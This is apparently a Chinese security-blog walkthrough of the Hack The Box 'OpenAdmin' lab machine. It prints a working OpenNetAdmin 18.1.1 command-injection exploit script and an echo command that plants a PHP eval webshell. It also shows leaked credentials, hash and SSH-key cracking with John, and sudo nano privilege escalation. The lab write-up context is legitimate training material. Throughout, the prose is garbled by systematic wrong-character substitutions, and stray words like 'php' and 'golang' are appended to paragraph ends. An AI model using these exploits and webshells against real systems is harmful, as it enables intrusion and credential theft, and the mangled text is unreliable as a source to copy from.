[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)

在撰写这篇文章以前,我先简单分享下hack the box实验感觉。hack the box是一个在线渗透平台,模拟了真实环境且难度较大,各类Web渗透工具及操做串联在一块儿,挺有意思的。本文详细讲解了hack the box机器配置,经过OpenAdmin题目分享管理员权限Flag获取流程,但愿对您有所帮助。同时,该网站题目细节不便于透露,推荐你们亲自去尝试,本文更多的分享一些思想。总体流程以下:php

  • Machines环境配置
  • Nmap端口扫描
  • Gobuster目录扫描
  • opennetadmin后台泄露
  • 蚁剑一句话木马获取Webshell
  • 敏感文件分析及获取User
  • HASH解密和权限提高
  • John获取私钥及ROOT shell提权

做者做为网络安全的小白,分享一些自学基础教程给你们,主要是关于安全工具和实践操做的在线笔记,但愿您们喜欢。同时,更但愿您能与我一块儿操做和进步,后续将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!若是文章对您有帮助,将是我创做的最大动力,点赞、评论、私聊都可,一块儿加油喔~css

PS:本文参考了安全网站和参考文献中的文章(详见参考文献),并结合本身的经验和实践进行撰写,也推荐你们阅读参考文献。html

软件安全:https://github.com/eastmountyxz/Software-Security-Course
其余工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
基础工具:https://github.com/eastmountyxz/Security-Software-Basedpython


声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。mysql

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防护初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防护原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防护原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防护(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提升班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制做(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客经常使用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和经常使用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)linux


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包git



一.HTB配置Machines

Hack The Box是一个在线平台,容许测试您的渗透技能和代码,并与其余相似兴趣的成员交流想法和方法。它包含一些不断更新的挑战,而且模拟真实场景,其风格更倾向于CTF挑战。也推荐读者试试Vulnhub。注册登陆后有地图炮(attack maps)、在线人数及设备、Web渗透真实场景等。官方网址:https://www.hackthebox.eu/github

前面咱们介绍了Challenge中Web渗透题目,它相似于CTF小测试。接下来咱们看看Machines类型题目,它更接近于真实环境。golang

靶场地址:https://www.hackthebox.eu/home/machinesweb

在这里插入图片描述



HTB建议使用VirtualBox或VMware虚拟机,推荐的操做系统是Parrot Security Edition或Kali Linux,下面做者讲解Machines配置过程。

第一步,配置openv * n。正式开始以前,须要在本地配置Hack The Box专用的V*N才能链接到靶场。
进入左侧的Labs-Access页签,HTB已经在Getting Started详细说明了链接方法,建议使用Linux虚拟机进行渗透测试实验。

在这里插入图片描述

第二步,在kali下安装相关扩展包。

注意:因为限制,全文 “V*N” 中均用 “ * ” 代替 “ P ” 。

apt-get install network-manager-open*n
apt-get install network-manager-openv*n-gnome
apt-get install network-manager-pptp
apt-get install network-manager-pptp-gnome
apt-get install network-manager-strongswan
apt-get install network-manager-v*nc
apt-get install network-manager-v*nc-gnome

安装以下图所示:

在这里插入图片描述

在这里插入图片描述


第三步,在access页面点击here下载openv*n配置文件。
下载地址:https://www.hackthebox.eu/home/htb/access

在这里插入图片描述

将文件下载复制至Kali系统某个目录中,以下图所示。

在这里插入图片描述

Kali系统若是没有openv*n,则调用以下命令进行安装。

sudo apt-get install openv*n

在这里插入图片描述


第四步,在终端中调用命令安装已下载的配置文件,须要在root权限中运行。

openv*n eastmountyxz.ov*n

在这里插入图片描述

链接成功后Hack The Box网页会在access页面看到connected打勾,包括相关的IP地址。

在这里插入图片描述

注意,执行成功后不要关闭终端,从新打开一个终端进行后续测试。


第五步,返回网站,点开machines->Active,选择相关题目进行渗透试验。

在这里插入图片描述

同构IP地址打开网页以下图所示:

在这里插入图片描述

若是您的网站没法访问,多是如下问题,也多是网络问题。

在这里插入图片描述

注意,开启对应1337端口。

  • 检查防火墙的状态:sudo ufw status
  • 设置启动ufw防火墙:sudo ufw enable
  • 开放22/TCP端口:sudo ufw allow 22/tcp
  • 开放53端口(tcp/udp):sudo ufw allow 53
  • 查看防火墙状态:sudo ufw status

在这里插入图片描述



二.OpenAdmin渗透

目标地址:10.10.10.171(Linux)
难度级别:简单(对读者来讲,真实的很是受用,在我心中是困难&有趣级别)
目标任务:找到靶机上的user.txt和root.txt。
目标网站:以下图所示。

在这里插入图片描述

对应题目信息:

在这里插入图片描述



当咱们看到一个网站以后,首先进行相关的注入分析和信息收集,包括端口扫描、目录扫描、人工注入、万能密码、弱口令等测试。

1.Nmap端口扫描

目标网站默认服务是Apache的默认页面,在网址后面随便加了一个路径,报错信息显示是 Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80。暂无相关信息,咱们经过Nmap探测开放端口。

nmap 10.10.10.171

使用Nmap工具查看目标主机开放的端口号,扫出22(ssh)和80(http)两个端口

在这里插入图片描述


补充:若是目标主机上打开的端口较多时,用户能够指定扫描端口范围,如指定扫描端口号在1~3000之间的端口号,执行命令以下所示:

nmap 10.10.10.171 -p 1-3000

在这里插入图片描述

同时,Nmap工具还能够指定一个特定端口号来扫描。好比使用Nmap工具指定扫描在192.168.41.*网段内全部开启TCP端口22的主机。执行命令以下所示:

nmap -p 22 192.168.41.*


2.目录扫描

端口都是经常使用的两个端口,仍然没有头绪,咱们接着扫描目录,Kali中经常使用的工具包括:

  • dirb
  • gobuster

(1) dirb
使用small.txt字典扫描目录。您赞成可使用本身的字典库进行目录扫描,甚至能够Python撰写代码递归扫描。

dirb http://10.10.10.171/ /usr/share/dirb/wordlists/small.txt

输出结果以下图所示:

在这里插入图片描述

发现music目录。

在这里插入图片描述

浏览器中打开以下图所示:

在这里插入图片描述



(2) gobuster
Gobuster这款工具基于Go编程语言开发,具有优异的执行效率和并发性能。广大研究人员可以使用该工具来对目录、文件、DNS和VHost等对象进行暴力P解和攻击。不一样于其余工具,该工具支持同时多扩展名爆破,适合采用多种后台技术的网站。实施子域名扫描时,该工具支持泛域名扫描,并容许用户强制继续扫描,以应对泛域名解析带来的影响。推荐文献:

PS:这里给读者普及下gobuster的基本用法。因为做者是安全初学者,因此在该系列文章中,每当学到新的工具或好的技巧时,我都会分享出来,可能文章比较啰嗦,但初衷是帮助到初学者,还请各位大佬海涵~

Gobuster可爆破的对象包括:

  • 目标站点中的URI(目录或文件)
  • DNS子域名(支持通配符)
  • 目标Web服务器的虚拟主机名(VHost)

下面简单分享Gobuster的安装过程。

第一步,安装GO环境。
下载安装包,命令以下,也能够从github下载。

wget -c https://storage.googleapis.com/golang/go1.11.2.linux-amd64.tar.gz

在这里插入图片描述

下载好安装包后,进行解压及文件夹移动操做,如图所示。

tar zxzf go1.11.2.linux-amd64.tar.gz
mv go /usr/local

因为做者以前建立其余版本,故先删除go文件夹。

在这里插入图片描述


第二步,配置GO环境。
建立Go语言工做空间。

mkdir -p $HOME/go
mkdir -p go

在这里插入图片描述

配置Go语言环境变量,使用Vi打开.bashrc文件,并写入环境变量,保存退出。

vi ~/.bashrc

在.bashrc文章中新增变量内容以下,PATH为GO的安装路径,GOPATH为GO语言的工做空间(此目录不能和安装目录同路径)。

export PATH=$PATH:/usr/local/go/bin
export GOPATH="$HOME/go"

在这里插入图片描述

马上生效环境变量。

source ~/.bashrc

在这里插入图片描述

最后,检验Go语言环境安装是否成功。

go version
go

以下图所示,Kali下的GO环境就安装成功了。

在这里插入图片描述


第三步,配置Gobuster工具。
当GO环境搭建好以后,咱们须要安装Gobuster工具。你就能够直接使用下列命令来下载和安装Gobuster,但总报错。

go get github.com/OJ/gobuster
go get && go build
go install

在这里插入图片描述

做者尝试从Github中下载工具,但安装仍然没成功。哎,仍是功力浅了,继续加油!
下载地址:https://github.com/OJ/gobuster/releases

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.171/

用Gobuster扫描目标url,最终发现/artwork 和 /music 目录。

在这里插入图片描述



3.Opennetadmin后台泄露

经过目录扫描发现music目录,咱们访问以下图所示,接着登陆按钮跳转后台,用户为guest 。

在这里插入图片描述

此时进入的页面以下图所示,发现使用的是Opennetadmin后台。注意,版本信息获取及对应版本漏洞分析也是Web渗透重要的技能。

在这里插入图片描述

第一步,历史版本漏洞分析。
当你不知道这是什么系统时,能够右键源代码查看框架js代码,而后Google查询,其Opennetadmin系统的版本是v18.1.1。首先查看历史漏洞,咱们以guest登陆到Opennetadmin系统的后台,分析其是否有垂直提权到admin的方法或者看看有没上传。[参考Catalog 详见文献]

在这里插入图片描述

使用searchsploit找到相关的RCE漏洞 ,参考文章:https://www.exploit-db.com/exploits/47691

在这里插入图片描述

其余大佬的截图有V18.1.1版本漏洞。

在这里插入图片描述


第二步,利用RCE漏洞。
当咱们发现这个版本的RCE漏洞后,咱们利用代码getshell。漏洞详见文章:

将代码复制至Kali系统,即“shell.sh”。

在这里插入图片描述

代码以下:

# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

接着输入命令进行提取。

./shell.sh http://10.10.10.171/ona/
pwd
id
ls

显示结果以下图所示,服务器环境有PHP,那么就想办法上传一句话木马。同时,敏感目录须要深刻分析,注意“/opt/ona/www”是当前路径,后续蚁剑会对应显示。

在这里插入图片描述

注意,若是输入“./shell.sh http://10.10.10.171/ona/”报错。这个由于该文件在Windows下编辑过,在Windows下每一行结尾是\n\r,而Linux下则是\n,因此才会有多出来的\r。使用指令“sed -i ‘s/\r$//’ xxx.sh”,该指令会把 xxx.sh中的\r 替换成空白便可。

在这里插入图片描述



三.蚁剑提取Webshell

接着咱们须要使用中国蚁剑来提取Webshell。蚁剑怎么在Kali下安装和使用呢?咱们接着补充。

1.中国蚁剑安装

中国蚁剑推荐你们阅读以下文章,它是很是强大的一款渗透工具。

第一步,下载中国蚁剑可使用git命令,也能够直接从github中下载。

git clone https://github.com/antoor/antSword.git
cd antSword

在这里插入图片描述

做者从官网下载对应的Linux版本。

在这里插入图片描述


第二步,打开Kali终端找到你下载的中国蚁剑压缩包并解压。

unzip AntSword-Loader-v4.0.3-linux-x64.zip

在这里插入图片描述

解压显示以下图所示:

在这里插入图片描述


第三步,进入中国蚁剑压缩包并打开蚁剑。

在这里插入图片描述

./AntSword

蚁剑打开以下图所示:

在这里插入图片描述


第四步,建立一个空文件夹(用全英文名字)。

在这里插入图片描述

而后点击蚁剑“初始化”按钮,找到你新建的文件夹,并选择它进行安装。

在这里插入图片描述

执行结束以后,“./AntSword”会出现这个界面,说明安装成功。

在这里插入图片描述



2.一句话木马和蚁剑提权

第一步,在命令行中插入一句话木马。

echo '<?php @eval($_POST['pwd']);?>' >> /opt/ona/www/images/config.php

在这里插入图片描述


第二步,运行蚁剑,右键单击“添加数据”,输入URL地址,链接密码以及编码设置。PHP语言推荐编辑器使用chr加密。

URL:http://10.10.10.171/ona/images/config.php
密码:pwd

在这里插入图片描述

接着整个后台显示出来,以下图所示,是否是感觉到了蚁剑的强大。但实验还没完,咱们还须要继续深度提权。

在这里插入图片描述

当咱们将“config.php”下载至本地,能够看到PHP一句话木马。咱们是经过命令行插入的该文件,再利用口令和URL链接的Webshell,我的感受蚁剑比菜刀稳定性更好、更强大。

在这里插入图片描述

此时,Webshell成功提权,但仅普通权限。

在这里插入图片描述



3.蚁剑虚拟终端和敏感文件发现

第一步,拿到shell以后枚举用户 ,这里右键选择“虚拟终端”。

在这里插入图片描述

第二步,查看用户信息。

cat /etc/passwd

看了一下系统用户,有两个比较可疑——jimmy和joanna。

在这里插入图片描述

注意,网络战的配置文件也是咱们关注的重点。有些密码是能够做为字典来碰撞系统的其余用户的,fuzz的几率很大。


第三步,敏感文件分析。
经过敏感文件分析,咱们发现该框架的数据库配置文件位于:

  • local/config/database_settings.inc.php

咱们在 /opt/ona/www/local/config 文件夹下面找到明文密码。

在这里插入图片描述

调用“cat database_settings.inc.php”显示以下所示:

在这里插入图片描述

发现了jimmy或joanna用户的密码,那又怎么使用这个密码呢?

www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
      ),
    ),
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',
  ),
);
?>

第四步,SSH尝试使用密码登陆 jimmy 和 joanna。
用数据库的密码测试两个帐号,发现密码的用户为jimmy的。

ssh jimmy@10.10.10.171
'db_passwd' => 'n1nj4W4rri0R!'

在这里插入图片描述

显示文件权限:

在这里插入图片描述


第五步,目录扫描及用户权限查找。
咱们的目的是找到flag并拿到root shell,去/home目录下发现没有 flag,那可能在另外一个帐号中。不过拿到这个帐号确定是有用的,至于用处在哪,还没发现,再次收集一波信息。找了一波发如今/var/www/下有一个jimmy用户的文件夹。

jimmy没有拿user.txt的权限,咱们须要拿下joanna用户,在/var/www/下发现了文件夹internal 的全部者为jimmy,对其文件源码进行分析。

在这里插入图片描述



四.源码分析及私钥获取

当咱们发现/var/www/目录中internal文件夹的全部者为jimmy,咱们查看其“index.php”和“main.php”源代码,对其进行分析。

1.获取私钥信息

第一步,分析index.php代码。
代码显示若是username和passwd都正确,则会跳转到main.php页面。main.php中会输出joanna这个用户的ssh密钥。咱们拿这个hash去cmd5解密。

在这里插入图片描述

index.php源代码以下:

<?php
   ob_start();
   session_start();
?>
<?
   // error_reporting(E_ALL);
   // ini_set("display_errors", 1);
?>
<html lang = "en">
   <head>
      <title>Tutorialspoint.com</title>
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
   </head>
   <body>
      <h2>Enter Username and Password</h2>
      <div class = "container form-signin">
        <h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
          <?php
            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';
              }
            }
         ?>
      </div> <!-- /container -->

      <div class = "container">
         <form class = "form-signin" role = "form"
            action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']); ?>" method = "post">
            <h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
            <input type = "text" class = "form-control"
               name = "username"
               required autofocus></br>
            <input type = "password" class = "form-control"
               name = "password" required>
            <button class = "btn btn-lg btn-primary btn-block" type = "submit"
               name = "login">Login</button>
         </form>
      </div>
   </body>
</html>

第二步,MD5解密。
解密出来后为 Revealed。在线解密:https://www.somd5.com/

在这里插入图片描述


第三步,分析main.php源码。
经过源码分析,发现internal/main.php会输出joanna的ssh私钥。

在这里插入图片描述

源代码:

<?php # OpenAdmin
$output = shell_exec("cat /home/joanna/.ssh/id_rsa");
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>

第四步,扫描其余用户的端口。
如今的问题就是如何Post这个url。直接在浏览器确定不行,由于默认的路由就是 ona,确定只能在这个SSH内部,结合这个目录名字internal。但最先咱们扫端口只有80和22,接着咱们再看一下jimmy用户本地启动的服务,3306不用说了,那大几率就是那个52846。

netstat -ano | grep 127.0.0.1

在这里插入图片描述

查看网络服务另外一种方法,发现一个奇怪的服务端口为52846

netstat  -anutp

在这里插入图片描述


第四步,POST数据请求。
猜想其为main.php所在的服务,而且构建curl提交POST请求,从而得到私钥信息。

curl -d "username=jimmy&password=Revealed" -X POST http://127.0.0.1:52846/main.php

输出结果以下图所示:

在这里插入图片描述


2.SSH登陆管理帐号获取user

ssh_key到手,直接链接jimmy这个帐号以前咱们还须要知道这个私钥的密码,使用john爆破。

第一步,将私钥复制到Kali本地。

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----

“id_rsa”文件以下图所示:

在这里插入图片描述


第二步,利用ssh2john获取哈希,再用john爆破哈希得到密码。
先用 john 自带脚本转换一下格式,代码以下:

python /usr/share/john/ssh2john.py id_rsa > ssh

John全称叫“John the Ripper password cracker(约翰开膛手密码解密)”。
John the Ripper是一个快速的密码P解程序,目前可用于Unix、Windows、DOS和OpenVMS等。其主要目的是检测弱Unix密码,除了在各类Unix系统上最多见的几种crypt密码哈希类型以外,如今支持的还有Windows LM哈希,以及社区加强版本中的大量其余哈希和密码。

官方文档:https://github.com/magnumripper/JohnTheRipper

注意,若是报错“python: can’t open file ‘/usr/share/john/ssh2john.py’: [Errno 2] No such file or directory”,读者能够从github复制源文件便可。

在这里插入图片描述

cp ssh2john.py /usr/share/john

在这里插入图片描述

接着将保存出来的id_rsa转换成john格式,ssh2john.py是把ssh密钥改为john能够识别的格式,使用john爆破–wordlist指定字典。

python /usr/share/john/ssh2john.py id_rsa > ssh
john --wordlist=/usr/share/wordlists/rockyou.txt ssh

密码为 bloodninjas,以下图所示:

在这里插入图片描述


第三步,利用私钥ssh登陆joanna帐户。

ssh -i id_rsa joanna@10.10.10.171

注意,若是出现“Permissions 0644 for ‘/root/.ssh/id_rsa’ are too open”等错误,须要将权限降到0600便可,代码为“chmod 0600 id_rsa”。

在这里插入图片描述

输入命令和密码bloodninjas,登陆joanna帐号。

在这里插入图片描述

这样就登录joanna,在当前目录下有个user.txt里面存着flag。

在这里插入图片描述


第四步,使用 sudo -l 能够发现,下面两个不用密码就能够以root权限执行。

sudo -l

在这里插入图片描述


第五步,能够执行/bin/nano /opt/priv这些不须要root密码,接着用nano逃逸来提权。
使用 sudo /bin/nano /opt/priv打开,而后使用ctrl+R来读取 /root/root.txt的内容。

在这里插入图片描述

在这里插入图片描述

获取最终结果以下图所示,成功!!!

在这里插入图片描述



五.总结

这篇基础性文章就此结束,但愿文章对您有所帮助。很是感谢师弟他们的推荐,也以为本身的技术好浅,要学的知识好多。若是您是安全初学者,一步一步学习,多实践多尝试,大牛都是慢慢练成的。这篇文章实验还挺有意思的,并且是多个工具及漏洞的利用,但愿能在这个地方看到您的身影,也祝您体会到本次实验的乐趣。

  • OpenAdmin渗透
    Nmap端口扫描
    目录扫描
    Opennetadmin后台泄露
  • 蚁剑提取Webshell
    中国蚁剑安装
    一句话木马和蚁剑提权
    蚁剑虚拟终端和敏感文件发现
  • 源码分析及私钥获取
    获取私钥信息
    SSH登陆管理帐号获取user

转眼,本身已经写了63篇安全文章了,很是值得记念,从此也但愿帮到更多的读者。最后,但愿博友们多看看来时的路,生活不止有编程和论文,还有太多精彩须要咱们去感觉,祝好~

(By:Eastmount 2020-03-27 下午5点写于贵阳 http://blog.csdn.net/eastmount/ )


参考文献:
[1] https://www.hackthebox.eu/home/machines
[2] HTB(Hack The Box)系列—入门指南 - dylan
[3] hackthebox 初学者教程 - Sunbet_行业观察
[4] hackthebox OpenAdmin - Catalog
[5] Hackthebox_OpenAdmin - Aran
[6] OpenNetAdmin 18.1.1 Remote Code Execution - CXSecurity.com - 安全客
[7] https://github.com/OJ/gobuster
[8] kali下安装go环境 - sch01ar
[9] Kali Linux下go语言环境搭建 - FLy_hps
[10 ]【渗透测试小白系列】之目录扫描、Nmap的使用及使用Metasploit经过MS17-010获取系统权限
[11] windows安装中国蚁剑 - rose never fade
[12] https://github.com/opennetadmin/ona
[13] Kali 安装中国蚁剑(antSword) - zrools
[14] https://github.com/magnumripper/JohnTheRipper
[15] https://cloud.tencent.com/developer/article/1595295

PS:感谢这些大佬的分享,受益不浅,也推荐读者阅读这些文献。